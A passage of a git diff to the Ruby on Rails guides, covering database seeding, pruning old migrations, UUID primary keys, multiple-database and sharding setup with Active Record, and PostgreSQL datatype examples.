+feature that speeds up the process. This is especially useful when reloading the
+database frequently in development and test environments, or when setting up
+initial data for production.
+
+To get started with this feature, open up `db/seeds.rb` and add some Ruby code,
+then run `bin/rails db:seed`.
+
+NOTE: The code here should be idempotent so that it can be executed at any point
+in every environment.
 
 ```ruby
-5.times do |i|
-  Product.create(name: "Product ##{i}", description: "A product.")
+["Action", "Comedy", "Drama", "Horror"].each do |genre_name|
+  MovieGenre.find_or_create_by!(name: genre_name)
 end
 ```
 
 This is generally a much cleaner way to set up the database of a blank
 application.
+
+Old Migrations
+--------------
+
+The `db/schema.rb` or `db/structure.sql` is a snapshot of the current state of
+your database and is the authoritative source for rebuilding that database. This
+makes it possible to delete or prune old migration files.
+
+When you delete migration files in the `db/migrate/` directory, any environment
+where `bin/rails db:migrate` was run when those files still existed will hold a
+reference to the migration timestamp specific to them inside an internal Rails
+database table named `schema_migrations`. You can read more about this in the
+[Rails Migration Version Control section](#rails-migration-version-control).
+
+If you run the `bin/rails db:migrate:status` command, which displays the status
+(up or down) of each migration, you should see `********** NO FILE **********`
+displayed next to any deleted migration file which was once executed on a
+specific environment but can no longer be found in the `db/migrate/` directory.
+
+### Migrations from Engines
+
+When dealing with migrations from [Engines][], there's a caveat to consider.
+Rake tasks to install migrations from engines are idempotent, meaning they will
+have the same result no matter how many times they are called. Migrations
+present in the parent application due to a previous installation are skipped,
+and missing ones are copied with a new leading timestamp. If you deleted old
+engine migrations and ran the install task again, you'd get new files with new
+timestamps, and `db:migrate` would attempt to run them again.
+
+Thus, you generally want to preserve migrations coming from engines. They have a
+special comment like this:
+
+```ruby
+# This migration comes from blorgh (originally 20210621082949)
+```
+
+ [Engines]: engines.html
+
+## Miscellaneous
+
+### Using UUIDs instead of IDs for Primary Keys
+
+By default, Rails uses auto-incrementing integers as primary keys for database
+records. However, there are scenarios where using Universally Unique Identifiers
+(UUIDs) as primary keys can be advantageous, especially in distributed systems
+or when integration with external services is necessary. UUIDs provide a
+globally unique identifier without relying on a centralized authority for
+generating IDs.
+
+#### Enabling UUIDs in Rails
+
+Before using UUIDs in your Rails application, you'll need to ensure that your
+database supports storing them. Additionally, you may need to configure your
+database adapter to work with UUIDs.
+
+NOTE: If you are using a version of PostgreSQL prior to 13, you may still need
+to enable the pgcrypto extension to access the `gen_random_uuid()` function.
+
+1. Rails Configuration
+
+    In your Rails application configuration file (`config/application.rb`), add
+    the following line to configure Rails to generate UUIDs as primary keys by
+    default:
+
+    ```ruby
+    config.generators do |g|
+      g.orm :active_record, primary_key_type: :uuid
+    end
+    ```
+
+    This setting instructs Rails to use UUIDs as the default primary key type
+    for ActiveRecord models.
+
+2. Adding References with UUIDs:
+
+    When creating associations between models using references, ensure that you
+    specify the data type as :uuid to maintain consistency with the primary key
+    type. For example:
+
+    ``` ruby
+    create_table :posts, id: :uuid do |t|
+      t.references :author, type: :uuid, foreign_key: true
+      # Other columns...
+      t.timestamps
+    end
+    ```
+
+    In this example, the `author_id` column in the posts table references the
+    `id` column of the authors table. By explicitly setting the type to `:uuid`,
+    you ensure that the foreign key column matches the data type of the primary
+    key it references. Adjust the syntax accordingly for other associations and
+    databases.
+
+3. Migration Changes
+
+    When generating migrations for your models, you'll notice that it specifies
+    the id to be of type `uuid:`
+
+    ```bash
+      $ bin/rails g migration CreateAuthors
+    ```
+
+    ```ruby
+    class CreateAuthors < ActiveRecord::Migration[8.2]
+      def change
+        create_table :authors, id: :uuid do |t|
+          t.timestamps
+        end
+      end
+    end
+    ```
+
+    which results in the following schema:
+
+    ```ruby
+    create_table "authors", id: :uuid, default: -> { "gen_random_uuid()" }, force: :cascade do |t|
+      t.datetime "created_at", precision: 6, null: false
+      t.datetime "updated_at", precision: 6, null: false
+    end
+    ```
+
+    In this migration, the `id` column is defined as a UUID primary key with a
+    default value generated by the `gen_random_uuid()` function.
+
+UUIDs are guaranteed to be globally unique across different systems, making them
+suitable for distributed architectures. They also simplify integration with
+external systems or APIs by providing a unique identifier that doesn't rely on
+centralized ID generation, and unlike auto-incrementing integers, UUIDs don't
+expose information about the total number of records in a table, which can be
+beneficial for security purposes.
+
+However, UUIDs can also impact performance due to their size and are harder to
+index. UUIDs will have worse performance for writes and reads compared with
+integer primary keys and foreign keys.
+
+NOTE: Therefore, it's essential to evaluate the trade-offs and consider the
+specific requirements of your application before deciding to use UUIDs as
+primary keys.
+
+### Data Migrations
+
+Data migrations involve transforming or moving data within your database. In
+Rails, it is generally not advised to perform data migrations using migration
+files. Here’s why:
+
+- **Separation of Concerns**: Schema changes and data changes have different
+  lifecycles and purposes. Schema changes alter the structure of your database,
+  while data changes alter the content.
+- **Rollback Complexity**: Data migrations can be hard to rollback safely and
+  predictably.
+- **Performance**: Data migrations can take a long time to run and may lock your
+  tables, affecting application performance and availability.
+
+Instead, consider using the
+[`maintenance_tasks`](https://github.com/Shopify/maintenance_tasks) gem. This
+gem provides a framework for creating and managing data migrations and other
+maintenance tasks in a way that is safe and easy to manage without interfering
+with schema migrations.
diff --git a/guides/source/active_record_multiple_databases.md b/guides/source/active_record_multiple_databases.md
new file mode 100644
index 0000000000000..375f4671550c9
--- /dev/null
+++ b/guides/source/active_record_multiple_databases.md
@@ -0,0 +1,669 @@
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON <https://guides.rubyonrails.org>.**
+
+Multiple Databases with Active Record
+=====================================
+
+This guide covers using multiple databases with your Rails application.
+
+After reading this guide you will know:
+
+* How to set up your application for multiple databases.
+* How automatic connection switching works.
+* How to use horizontal sharding for multiple databases.
+* What features are supported and what's still a work in progress.
+
+--------------------------------------------------------------------------------
+
+As an application grows in popularity and usage, you'll need to scale the application
+to support your new users and their data. One way in which your application may need
+to scale is on the database level. Rails supports using multiple databases, so you don't
+have to store your data all in one place.
+
+At this time the following features are supported:
+
+* Multiple writer databases and a replica for each
+* Automatic connection switching for the model you're working with
+* Automatic swapping between the writer and replica depending on the HTTP verb and recent writes
+* Rails tasks for creating, dropping, migrating, and interacting with the multiple databases
+
+The following features are not (yet) supported:
+
+* Load balancing replicas
+
+## Setting up Your Application
+
+While Rails tries to do most of the work for you, there are still some steps you'll
+need to do to get your application ready for multiple databases.
+
+Let's say we have an application with a single writer database, and we need to add a
+new database for some new tables we're adding. The name of the new database will be
+"animals".
+
+`config/database.yml` looks like this:
+
+```yaml
+production:
+  database: my_primary_database
+  adapter: mysql2
+  username: root
+  password: <%= ENV['ROOT_PASSWORD'] %>
+```
+
+Let's add a second database called "animals" and replicas for both databases as
+well. To do this, we need to change our `config/database.yml` from a 2-tier to a
+3-tier config.
+
+If a `primary` configuration key is provided, it will be used as the "default" configuration. If
+there is no configuration named `primary`, Rails will use the first configuration as default
+for each environment. The default configurations will use the default Rails filenames. For example,
+primary configurations will use `db/schema.rb` for the schema file, whereas all the other entries
+will use `db/[CONFIGURATION_NAMESPACE]_schema.rb` for the filename.
+
+```yaml
+production:
+  primary:
+    database: my_primary_database
+    username: root
+    password: <%= ENV['ROOT_PASSWORD'] %>
+    adapter: mysql2
+  primary_replica:
+    database: my_primary_database
+    username: root_readonly
+    password: <%= ENV['ROOT_READONLY_PASSWORD'] %>
+    adapter: mysql2
+    replica: true
+  animals:
+    database: my_animals_database
+    username: animals_root
+    password: <%= ENV['ANIMALS_ROOT_PASSWORD'] %>
+    adapter: mysql2
+    migrations_paths: db/animals_migrate
+  animals_replica:
+    database: my_animals_database
+    username: animals_readonly
+    password: <%= ENV['ANIMALS_READONLY_PASSWORD'] %>
+    adapter: mysql2
+    replica: true
+```
+
+Connection URLs for databases can also be configured using environment variables. The variable
+name is formed by concatenating the connection name with `_DATABASE_URL`. For example, setting
+`ANIMALS_DATABASE_URL="mysql2://username:password@host/database"` is merged into the `animals`
+configuration in `database.yml` in the `production` environment. See
+[Configuring a Database](configuring.html#configuring-a-database) for details about how the
+merging works.
+
+When using multiple databases, there are a few important settings.
+
+First, the database name for `primary` and `primary_replica` should be the same because they contain
+the same data. This is also the case for `animals` and `animals_replica`.
+
+Second, the username for the writers and replicas should be different, and the
+replica user's database permissions should be set to only read and not write.
+
+When using a replica database, you need to add a `replica: true` entry to the replica in
+`config/database.yml`. This is because Rails otherwise has no way of knowing which one is a replica
+and which one is the writer. Rails will not run certain tasks, such as migrations, against replicas.
+
+Lastly, for new writer databases, you need to set the `migrations_paths` key to the directory
+where you will store migrations for that database. We'll look more at `migrations_paths`
+later on in this guide.
+
+You can also configure the schema dump file by setting `schema_dump` to a custom schema file name
+or completely skip the schema dumping by setting `schema_dump: false`.
+
+Now that we have a new database, let's set up the connection model.
+
+The primary database replica may be configured in `ApplicationRecord` this way:
+
+```ruby
+class ApplicationRecord < ActiveRecord::Base
+  self.abstract_class = true
+
+  connects_to database: { writing: :primary, reading: :primary_replica }
+end
+```
+
+If you use a differently named class for your application record you need to
+set `primary_abstract_class` instead, so that Rails knows which class `ActiveRecord::Base`
+should share a connection with.
+
+```ruby
+class PrimaryApplicationRecord < ActiveRecord::Base
+  primary_abstract_class
+
+  connects_to database: { writing: :primary, reading: :primary_replica }
+end
+```
+
+In that case, classes that connect to `primary`/`primary_replica` can inherit
+from your primary abstract class like standard Rails applications do with
+`ApplicationRecord`:
+
+```ruby
+class Person < PrimaryApplicationRecord
+end
+```
+
+On the other hand, we need to set up our models persisted in the "animals" database:
+
+```ruby
+class AnimalsRecord < ApplicationRecord
+  self.abstract_class = true
+
+  connects_to database: { writing: :animals, reading: :animals_replica }
+end
+```
+
+Those models should inherit from that common abstract class:
+
+```ruby
+class Dog < AnimalsRecord
+  # Talks automatically to the animals database.
+end
+```
+
+By default, Rails expects the database roles to be `writing` and `reading` for the primary
+and replica respectively. If you have a legacy system you may already have roles set up that
+you don't want to change. In that case you can set a new role name in your application config.
+
+```ruby
+config.active_record.writing_role = :default
+config.active_record.reading_role = :readonly
+```
+
+It's important to connect to your database in a single model and then inherit from that model
+for the tables rather than connect multiple individual models to the same database. Database
+clients have a limit to the number of open connections there can be, and if you do this, it will
+multiply the number of connections you have since Rails uses the model class name for the
+connection specification name.
+
+Now that we have the `config/database.yml` and the new model set up, it's time
+to create the databases. Rails ships with all the commands you need to use
+multiple databases.
+
+You can run `bin/rails --help` to see all the commands you're able to run. You should see the following:
+
+```bash
+$ bin/rails --help
+...
+db:create                          # Create the database from DATABASE_URL or config/database.yml for the ...
+db:create:animals                  # Create animals database for current environment
+db:create:primary                  # Create primary database for current environment
+db:drop                            # Drop the database from DATABASE_URL or config/database.yml for the cu...
+db:drop:animals                    # Drop animals database for current environment
+db:drop:primary                    # Drop primary database for current environment
+db:migrate                         # Migrate the database (options: VERSION=x, VERBOSE=false, SCOPE=blog)
+db:migrate:animals                 # Migrate animals database for current environment
+db:migrate:primary                 # Migrate primary database for current environment
+db:migrate:status                  # Display status of migrations
+db:migrate:status:animals          # Display status of migrations for animals database
+db:migrate:status:primary          # Display status of migrations for primary database
+db:reset                           # Drop and recreates all databases from their schema for the current environment and loads the seeds
+db:reset:animals                   # Drop and recreates the animals database from its schema for the current environment and loads the seeds
+db:reset:primary                   # Drop and recreates the primary database from its schema for the current environment and loads the seeds
+db:rollback                        # Roll the schema back to the previous version (specify steps w/ STEP=n)
+db:rollback:animals                # Rollback animals database for current environment (specify steps w/ STEP=n)
+db:rollback:primary                # Rollback primary database for current environment (specify steps w/ STEP=n)
+db:schema:dump                     # Create a database schema file (either db/schema.rb or db/structure.sql  ...
+db:schema:dump:animals             # Create a database schema file (either db/schema.rb or db/structure.sql  ...
+db:schema:dump:primary             # Create a db/schema.rb file that is portable against any DB supported  ...
+db:schema:load                     # Load a database schema file (either db/schema.rb or db/structure.sql  ...
+db:schema:load:animals             # Load a database schema file (either db/schema.rb or db/structure.sql  ...
+db:schema:load:primary             # Load a database schema file (either db/schema.rb or db/structure.sql  ...
+db:setup                           # Create all databases, loads all schemas, and initializes with the seed data (use db:reset to also drop all databases first)
+db:setup:animals                   # Create the animals database, loads the schema, and initializes with the seed data (use db:reset:animals to also drop the database first)
+db:setup:primary                   # Create the primary database, loads the schema, and initializes with the seed data (use db:reset:primary to also drop the database first)
+...
+```
+
+Running a command like `bin/rails db:create` will create both the primary and animals databases.
+Note that there is no command for creating the database users, and you'll need to do that manually
+to support the read-only users for your replicas. If you want to create just the animals
+database you can run `bin/rails db:create:animals`.
+
+## Connecting to Databases without Managing Schema and Migrations
+
+If you would like to connect to an external database without any database
+management tasks such as schema management, migrations, seeds, etc., you can set
+the per database config option `database_tasks: false`. By default it is
+set to true.
+
+```yaml
+production:
+  primary:
+    database: my_database
+    adapter: mysql2
+  animals:
+    database: my_animals_database
+    adapter: mysql2
+    database_tasks: false
+```
+
+## Generators and Migrations
+
+Migrations for multiple databases should live in their own folders prefixed with the
+name of the database key in the configuration.
+
+You also need to set `migrations_paths` in the database configurations to tell
+Rails where to find the migrations.
+
+For example the `animals` database would look for migrations in the `db/animals_migrate` directory and
+`primary` would look in `db/migrate`. Rails generators now take a `--database` option
+so that the file is generated in the correct directory. The command can be run like so:
+
+```bash
+$ bin/rails generate migration CreateDogs name:string --database animals
+```
+
+If you are using Rails generators, the scaffold and model generators will create the abstract
+class for you. Simply pass the database key to the command line.
+
+```bash
+$ bin/rails generate scaffold Dog name:string --database animals
+```
+
+A class with the camelized database name and `Record` will be created. In this
+example the database is "animals" so we end up with `AnimalsRecord`:
+
+```ruby
+class AnimalsRecord < ApplicationRecord
+  self.abstract_class = true
+
+  connects_to database: { writing: :animals }
+end
+```
+
+The generated model will automatically inherit from `AnimalsRecord`.
+
+```ruby
+class Dog < AnimalsRecord
+end
+```
+
+NOTE: Since Rails doesn't know which database is the replica for your writer you will need to
+add this to the abstract class after you're done.
+
+Rails will only generate `AnimalsRecord` once. It will not be overwritten by new
+scaffolds or deleted if the scaffold is deleted.
+
+If you already have an abstract class and its name differs from `AnimalsRecord`, you can pass
+the `--parent` option to indicate you want a different abstract class:
+
+```bash
+$ bin/rails generate scaffold Dog name:string --database animals --parent Animals::Record
+```
+
+This will skip generating `AnimalsRecord` since you've indicated to Rails that you want to
+use a different parent class.
+
+## Activating Automatic Role Switching
+
+Finally, in order to use the read-only replica in your application, you'll need to activate
+the middleware for automatic switching.
+
+Automatic switching allows the application to switch from the writer to the replica or the replica
+to the writer based on the HTTP verb and whether there was a recent write by the requesting user.
+
+If the application receives a POST, PUT, DELETE, or PATCH request, the application will
+automatically write to the writer database. If the request is not one of those methods,
+but the application recently made a write, the writer database will also be used. All
+other requests will use the replica database.
+
+To activate the automatic connection switching middleware you can run the automatic swapping
+generator:
+
+```bash
+$ bin/rails g active_record:multi_db
+```
+
+And then uncomment the following lines:
+
+```ruby
+Rails.application.configure do
+  config.active_record.database_selector = { delay: 2.seconds }
+  config.active_record.database_resolver = ActiveRecord::Middleware::DatabaseSelector::Resolver
+  config.active_record.database_resolver_context = ActiveRecord::Middleware::DatabaseSelector::Resolver::Session
+end
+```
+
+Rails guarantees "read your own write" and will send your GET or HEAD request to the
+writer if it's within the `delay` window. By default the delay is set to 2 seconds. You
+should change this based on your database infrastructure. Rails doesn't guarantee "read
+a recent write" for other users within the delay window and will send GET and HEAD requests
+to the replicas unless they wrote recently.
+
+The automatic connection switching in Rails is relatively primitive and deliberately doesn't
+do a whole lot. The goal is a system that demonstrates how to do automatic connection
+switching that is flexible enough to be customizable by app developers.
+
+The setup in Rails allows you to easily change how the switching is done and what
+parameters it's based on. Let's say you want to use a cookie instead of a session to
+decide when to swap connections. You can write your own class:
+
+```ruby
+class MyCookieResolver < ActiveRecord::Middleware::DatabaseSelector::Resolver
+  def self.call(request)
+    new(request.cookies)
+  end
+
+  def initialize(cookies)
+    @cookies = cookies
+  end
+
+  attr_reader :cookies
+
+  def last_write_timestamp
+    self.class.convert_timestamp_to_time(cookies[:last_write])
+  end
+
+  def update_last_write_timestamp
+    cookies[:last_write] = self.class.convert_time_to_timestamp(Time.now)
+  end
+
+  def save(response)
+  end
+end
+```
+
+And then pass it to the middleware:
+
+```ruby
+config.active_record.database_selector = { delay: 2.seconds }
+config.active_record.database_resolver = ActiveRecord::Middleware::DatabaseSelector::Resolver
+config.active_record.database_resolver_context = MyCookieResolver
+```
+
+## Using Manual Connection Switching
+
+There are some cases where you may want your application to connect to a writer or a replica
+and the automatic connection switching isn't adequate. For example, you may know that for a
+particular request you always want to send the request to a replica, even when you are in a
+POST request path.
+
+To do this Rails provides a `connected_to` method that will switch to the connection you
+need.
+
+```ruby
+ActiveRecord::Base.connected_to(role: :reading) do
+  # All code in this block will be connected to the reading role.
+end
+```
+
+The "role" in the `connected_to` call looks up the connections that are connected on that
+connection handler (or role). The `reading` connection handler will hold all the connections
+that were connected via `connects_to` with the role name of `reading`.
+
+Note that `connected_to` with a role will look up an existing connection and switch
+using the connection specification name. This means that if you pass an unknown role
+like `connected_to(role: :nonexistent)` you will get an error that says
+`ActiveRecord::ConnectionNotEstablished (No connection pool for 'ActiveRecord::Base' found for the 'nonexistent' role.)`
+
+If you want Rails to ensure any queries performed are read-only, pass `prevent_writes: true`.
+This just prevents queries that look like writes from being sent to the database.
+You should also configure your replica database to run in read-only mode.
+
+```ruby
+ActiveRecord::Base.connected_to(role: :reading, prevent_writes: true) do
+  # Rails will check each query to ensure it's a read query.
+end
+```
+
+## Horizontal Sharding
+
+Horizontal sharding is when you split up your database to reduce the number of rows on each
+database server, but maintain the same schema across "shards". This is commonly called "multi-tenant"
+sharding.
+
+The API for supporting horizontal sharding in Rails is similar to the multiple database / vertical
+sharding API that's existed since Rails 6.0.
+
+Shards are declared in the three-tier config like this:
+
+```yaml
+production:
+  primary:
+    database: my_primary_database
+    adapter: mysql2
+  primary_replica:
+    database: my_primary_database
+    adapter: mysql2
+    replica: true
+  primary_shard_one:
+    database: my_primary_shard_one
+    adapter: mysql2
+    migrations_paths: db/migrate_shards
+  primary_shard_one_replica:
+    database: my_primary_shard_one
+    adapter: mysql2
+    replica: true
+  primary_shard_two:
+    database: my_primary_shard_two
+    adapter: mysql2
+    migrations_paths: db/migrate_shards
+  primary_shard_two_replica:
+    database: my_primary_shard_two
+    adapter: mysql2
+    replica: true
+```
+
+Models are then connected with the `connects_to` API via the `shards` key:
+
+```ruby
+class ApplicationRecord < ActiveRecord::Base
+  primary_abstract_class
+
+  connects_to database: { writing: :primary, reading: :primary_replica }
+end
+
+class ShardRecord < ApplicationRecord
+  self.abstract_class = true
+
+  connects_to shards: {
+    shard_one: { writing: :primary_shard_one, reading: :primary_shard_one_replica },
+    shard_two: { writing: :primary_shard_two, reading: :primary_shard_two_replica }
+  }
+end
+
+class Person < ShardRecord
+end
+```
+
+If you're using shards, make sure both `migrations_paths` and `schema_dump` remain unchanged for
+all the shards. When generating a migration you can pass the `--database` option and
+use one of the shard names. Since they all set the same path, it doesn't matter which
+one you choose.
+
+```
+$ bin/rails g scaffold Dog name:string --database primary_shard_one
+```
+
+Then models can swap shards manually via the `connected_to` API. If
+using sharding, both a `role` and a `shard` must be passed:
+
+```ruby
+ShardRecord.connected_to(role: :writing, shard: :shard_one) do
+  @person = Person.create! # Creates a record in shard shard_one
+end
+
+ShardRecord.connected_to(role: :writing, shard: :shard_two) do
+  Person.find(@person.id) # Can't find record, doesn't exist because it was created
+                   # in the shard named ":shard_one".
+end
+```
+
+The horizontal sharding API also supports read replicas. You can swap the
+role and the shard with the `connected_to` API.
+
+```ruby
+ShardRecord.connected_to(role: :reading, shard: :shard_one) do
+  Person.first # Lookup record from read replica of shard one.
+end
+```
+
+## Activating Automatic Shard Switching
+
+Applications are able to automatically switch shards per request using the `ShardSelector`
+middleware, which allows an application to provide custom logic for determining the appropriate
+shard for each request.
+
+The same generator used for the database selector above can be used to generate an initializer file
+for automatic shard swapping:
+
+```bash
+$ bin/rails g active_record:multi_db
+```
+
+Then in the generated `config/initializers/multi_db.rb` uncomment and modify the following code:
+
+```ruby
+Rails.application.configure do
+  config.active_record.shard_selector = { lock: true }
+  config.active_record.shard_resolver = ->(request) { Tenant.find_by!(host: request.host).shard }
+end
+```
+
+Applications must provide a resolver to provide application-specific logic. An example resolver that
+uses a subdomain to determine the shard might look like this:
+
+```ruby
+config.active_record.shard_resolver = ->(request) {
+  subdomain = request.subdomain
+  tenant = Tenant.find_by_subdomain!(subdomain)
+  tenant.shard
+}
+```
+
+The behavior of `ShardSelector` can be altered through some configuration options.
+
+`lock` is true by default and will prohibit the request from switching shards during the request. If
+`lock` is false, then shard swapping will be allowed. For tenant-based sharding, `lock` should
+always be true to prevent application code from mistakenly switching between tenants.
+
+`class_name` is the name of the abstract connection class to switch. By default, the `ShardSelector`
+will use `ActiveRecord::Base`, but if the application has multiple databases, then this option
+should be set to the name of the sharded database's abstract connection class.
+
+Options may be set in the application configuration. For example, this configuration tells
+`ShardSelector` to switch shards using `AnimalsRecord.connected_to`:
+
+
+``` ruby
+config.active_record.shard_selector = { lock: true, class_name: "AnimalsRecord" }
+```
+
+
+## Granular Database Connection Switching
+
+Starting from Rails 6.1, it's possible to switch connections for one database
+instead of all databases globally.
+
+With granular database connection switching, any abstract connection class
+will be able to switch connections without affecting other connections. This
+is useful for switching your `AnimalsRecord` queries to read from the replica
+while ensuring your `ApplicationRecord` queries go to the primary.
+
+```ruby
+AnimalsRecord.connected_to(role: :reading) do
+  Dog.first # Reads from animals_replica.
+  Person.first  # Reads from primary.
+end
+```
+
+It's also possible to swap connections granularly for shards.
+
+```ruby
+AnimalsRecord.connected_to(role: :reading, shard: :shard_one) do
+  # Will read from shard_one_replica. If no connection exists for shard_one_replica,
+  # a ConnectionNotEstablished error will be raised.
+  Dog.first
+
+  # Will read from primary writer.
+  Person.first
+end
+```
+
+To switch only the primary database cluster use `ApplicationRecord`:
+
+```ruby
+ApplicationRecord.connected_to(role: :reading, shard: :shard_one) do
+  Person.first # Reads from primary_shard_one_replica.
+  Dog.first # Reads from animals_primary.
+end
+```
+
+`ActiveRecord::Base.connected_to` maintains the ability to switch
+connections globally.
+
+### Handling Associations with Joins across Databases
+
+As of Rails 7.0+, Active Record has an option for handling associations that would perform
+a join across multiple databases. If you have a has many through or a has one through association
+that you want to disable joining and perform 2 or more queries, pass the `disable_joins: true` option.
+
+For example:
+
+```ruby
+class Dog < AnimalsRecord
+  has_many :treats, through: :humans, disable_joins: true
+  has_many :humans
+
+  has_one :home
+  has_one :yard, through: :home, disable_joins: true
+end
+
+class Home
+  belongs_to :dog
+  has_one :yard
+end
+
+class Yard
+  belongs_to :home
+end
+```
+
+Previously calling `@dog.treats` without `disable_joins` or `@dog.yard` without `disable_joins`
+would raise an error because databases are unable to handle joins across clusters. With the
+`disable_joins` option, Rails will generate multiple select queries
+to avoid attempting joining across clusters. For the above association, `@dog.treats` would generate the
+following SQL:
+
+```sql
+SELECT "humans"."id" FROM "humans" WHERE "humans"."dog_id" = ?  [["dog_id", 1]]
+SELECT "treats".* FROM "treats" WHERE "treats"."human_id" IN (?, ?, ?)  [["human_id", 1], ["human_id", 2], ["human_id", 3]]
+```
+
+While `@dog.yard` would generate the following SQL:
+
+```sql
+SELECT "home"."id" FROM "homes" WHERE "homes"."dog_id" = ? [["dog_id", 1]]
+SELECT "yards".* FROM "yards" WHERE "yards"."home_id" = ? [["home_id", 1]]
+```
+
+There are some important things to be aware of with this option:
+
+1. There may be performance implications since now two or more queries will be performed (depending
+   on the association) rather than a join. If the select for `humans` returned a high number of IDs
+   the select for `treats` may send too many IDs.
+2. Since we are no longer performing joins, a query with an order or limit is now sorted in-memory since
+   order from one table cannot be applied to another table.
+3. This setting must be added to all associations where you want joining to be disabled.
+   Rails can't guess this for you because association loading is lazy, to load `treats` in `@dog.treats`
+   Rails already needs to know what SQL should be generated.
+
+### Schema Caching
+
+If you want to load a schema cache for each database you must set
+`schema_cache_path` in each database configuration and set
+`config.active_record.lazily_load_schema_cache = true` in your application
+configuration. Note that this will lazily load the cache when the database
+connections are established.
+
+## Caveats
+
+### Load Balancing Replicas
+
+Rails doesn't support automatic load balancing of replicas. This is very
+dependent on your infrastructure. We may implement basic, primitive load
+balancing in the future, but for an application at scale this should be
+something your application handles outside of Rails.
diff --git a/guides/source/active_record_postgresql.md b/guides/source/active_record_postgresql.md
index 6d07291b07c25..d67a6ba736ddc 100644
--- a/guides/source/active_record_postgresql.md
+++ b/guides/source/active_record_postgresql.md
@@ -1,4 +1,4 @@
-**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON <https://guides.rubyonrails.org>.**
 
 Active Record and PostgreSQL
 ============================
@@ -9,17 +9,21 @@ After reading this guide, you will know:
 
 * How to use PostgreSQL's datatypes.
 * How to use UUID primary keys.
+* How to include non-key columns in indexes.
+* How to use deferrable foreign keys.
+* How to use unique constraints.
+* How to implement exclusion constraints.
 * How to implement full text search with PostgreSQL.
 * How to back your Active Record models with database views.
 
 --------------------------------------------------------------------------------
 
-In order to use the PostgreSQL adapter you need to have at least version 9.1
+In order to use the PostgreSQL adapter you need to have at least version 9.3
 installed. Older versions are not supported.
 
 To get started with PostgreSQL have a look at the
 [configuring Rails guide](configuring.html#configuring-a-postgresql-database).
-It describes how to properly setup Active Record for PostgreSQL.
+It describes how to properly set up Active Record for PostgreSQL.
 
 Datatypes
 ---------
@@ -29,19 +33,23 @@ that are supported by the PostgreSQL adapter.
 
 ### Bytea
 
-* [type definition](http://www.postgresql.org/docs/current/static/datatype-binary.html)
-* [functions and operators](http://www.postgresql.org/docs/current/static/functions-binarystring.html)
+* [type definition](https://www.postgresql.org/docs/current/static/datatype-binary.html)
+* [functions and operators](https://www.postgresql.org/docs/current/static/functions-binarystring.html)
 
 ```ruby
 # db/migrate/20140207133952_create_documents.rb
 create_table :documents do |t|
-  t.binary 'payload'
+  t.binary "payload"
 end
+```
 
+```ruby
 # app/models/document.rb
 class Document < ApplicationRecord
 end
+```
 
+```ruby
 # Usage
 data = File.read(Rails.root + "tmp/output.pdf")
 Document.create payload: data
@@ -49,23 +57,27 @@ Document.create payload: data
 
 ### Array
 
-* [type definition](http://www.postgresql.org/docs/current/static/arrays.html)
-* [functions and operators](http://www.postgresql.org/docs/current/static/functions-array.html)
+* [type definition](https://www.postgresql.org/docs/current/static/arrays.html)
+* [functions and operators](https://www.postgresql.org/docs/current/static/functions-array.html)
 
 ```ruby
 # db/migrate/20140207133952_create_books.rb
 create_table :books do |t|
-  t.string 'title'
-  t.string 'tags', array: true
-  t.integer 'ratings', array: true
+  t.string "title"
+  t.string "tags", array: true
+  t.integer "ratings", array: true
 end
-add_index :books, :tags, using: 'gin'
-add_index :books, :ratings, using: 'gin'
+add_index :books, :tags, using: "gin"
+add_index :books, :ratings, using: "gin"
+```
 
+```ruby
 # app/models/book.rb
 class Book < ApplicationRecord
 end
+```
 
+```ruby
 # Usage
 Book.create title: "Brave New World",
             tags: ["fantasy", "fiction"],
@@ -83,101 +95,118 @@ Book.where("array_length(ratings, 1) >= 3")
 
 ### Hstore
 
-* [type definition](http://www.postgresql.org/docs/current/static/hstore.html)
-* [functions and operators](http://www.postgresql.org/docs/current/static/hstore.html#AEN167712)
+* [type definition](https://www.postgresql.org/docs/current/static/hstore.html)
+* [functions and operators](https://www.postgresql.org/docs/current/static/hstore.html#id-1.11.7.26.5)
 
 NOTE: You need to enable the `hstore` extension to use hstore.
 
 ```ruby
 # db/migrate/20131009135255_create_profiles.rb
-ActiveRecord::Schema.define do
-  enable_extension 'hstore' unless extension_enabled?('hstore')
+class CreateProfiles < ActiveRecord::Migration[8.2]
+  enable_extension "hstore" unless extension_enabled?("hstore")
   create_table :profiles do |t|
-    t.hstore 'settings'
+    t.hstore "settings"
   end
 end
+```
 
+```ruby
 # app/models/profile.rb
 class Profile < ApplicationRecord
 end
+```
 
-# Usage
-Profile.create(settings: { "color" => "blue", "resolution" => "800x600" })
+```irb
+irb> Profile.create(settings: { "color" => "blue", "resolution" => "800x600" })
 
-profile = Profile.first
-profile.settings # => {"color"=>"blue", "resolution"=>"800x600"}
+irb> profile = Profile.first
+irb> profile.settings
+=> {"color"=>"blue", "resolution"=>"800x600"}
 
-profile.settings = {"color" => "yellow", "resolution" => "1280x1024"}
-profile.save!
+irb> profile.settings = {"color" => "yellow", "resolution" => "1280x1024"}
+irb> profile.save!
 
-Profile.where("settings->'color' = ?", "yellow")
-# => #<ActiveRecord::Relation [#<Profile id: 1, settings: {"color"=>"yellow", "resolution"=>"1280x1024"}>]>
+irb> Profile.where("settings->'color' = ?", "yellow")
+=> #<ActiveRecord::Relation [#<Profile id: 1, settings: {"color"=>"yellow", "resolution"=>"1280x1024"}>]>
 ```
 
-### JSON
+### JSON and JSONB
 
-* [type definition](http://www.postgresql.org/docs/current/static/datatype-json.html)
-* [functions and operators](http://www.postgresql.org/docs/current/static/functions-json.html)
+* [type definition](https://www.postgresql.org/docs/current/static/datatype-json.html)
+* [functions and operators](https://www.postgresql.org/docs/current/static/functions-json.html)
 
 ```ruby
 # db/migrate/20131220144913_create_events.rb
+# ... for json datatype:
+create_table :events do |t|
+  t.json "payload"
+end
+# ... or for jsonb datatype:
 create_table :events do |t|
-  t.json 'payload'
+  t.jsonb "payload"
 end
+```
 
+```ruby
 # app/models/event.rb
 class Event < ApplicationRecord
 end
+```
 
-# Usage
-Event.create(payload: { kind: "user_renamed", change: ["jack", "john"]})
+```irb
+irb> Event.create(payload: { kind: "user_renamed", change: ["jack", "john"]})
 
-event = Event.first
-event.payload # => {"kind"=>"user_renamed", "change"=>["jack", "john"]}
+irb> event = Event.first
+irb> event.payload
+=> {"kind"=>"user_renamed", "change"=>["jack", "john"]}
 
 ## Query based on JSON document
 # The -> operator returns the original JSON type (which might be an object), whereas ->> returns text
